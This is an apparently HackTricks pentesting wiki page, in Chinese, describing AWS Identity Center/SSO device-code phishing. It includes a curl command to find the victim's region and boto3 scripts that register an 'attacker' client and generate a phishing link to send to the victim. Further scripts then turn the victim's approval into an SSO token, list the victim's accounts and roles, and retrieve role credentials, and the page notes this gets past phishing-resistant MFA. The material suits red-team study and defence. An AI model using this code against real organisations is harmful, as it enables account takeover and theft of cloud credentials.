AWS - Identity Center & SSO Unauthenticated Enum

支持 HackTricks

AWS 设备代码钓鱼

最初在 这篇博客文章 中提出,可以向使用 AWS SSO 的用户发送一个 链接,如果 用户接受,攻击者将能够获取一个 令牌以冒充用户 并访问用户在 Identity Center 中能够访问的所有角色。

为了执行此攻击,前提条件是:

  • 受害者需要使用 Identity Center

  • 攻击者必须知道受害者使用的 子域名 <victimsub>.awsapps.com/start

仅凭上述信息,攻击者将能够向用户发送一个链接,如果 接受,将授予 攻击者对 AWS 用户 账户的访问权限。

攻击

  1. 查找子域名

攻击者的第一步是找出受害者公司在其 Identity Center 中使用的子域名。这可以通过 OSINT猜测 + BF 来完成,因为大多数公司会在这里使用其名称或名称的变体。

有了这些信息,就可以获取配置 Identity Center 的区域:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 生成受害者的链接并发送

运行以下代码以生成 AWS SSO 登录链接,以便受害者可以进行身份验证。 在演示中,在 Python 控制台中运行此代码,并且不要退出,因为稍后您将需要一些对象来获取令牌:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

发送生成的链接给受害者,利用你出色的社会工程技巧!

  1. 等待受害者接受

如果受害者已经登录AWS,他只需接受授予权限;如果没有,他需要登录然后接受授予权限。 这就是现在提示的样子:

  1. 获取SSO访问令牌

如果受害者接受了提示,运行此代码以生成一个冒充用户的SSO令牌

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO 访问令牌是 有效期为 8 小时

  1. 冒充用户

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

针对不可钓鱼的 MFA 的钓鱼攻击

有趣的是,之前的攻击即使在使用“不可钓鱼的 MFA”(webAuth)的情况下也能有效。这是因为之前的工作流程从未离开所使用的 OAuth 域。与其他钓鱼攻击不同,用户需要替代登录域,在设备代码工作流程中,代码由设备已知,用户即使在不同的机器上也可以登录。如果接受了提示,设备仅通过知道初始代码,就能够为用户检索凭据

有关更多信息,请查看此帖子

自动化工具

参考文献

支持 HackTricks

Last updated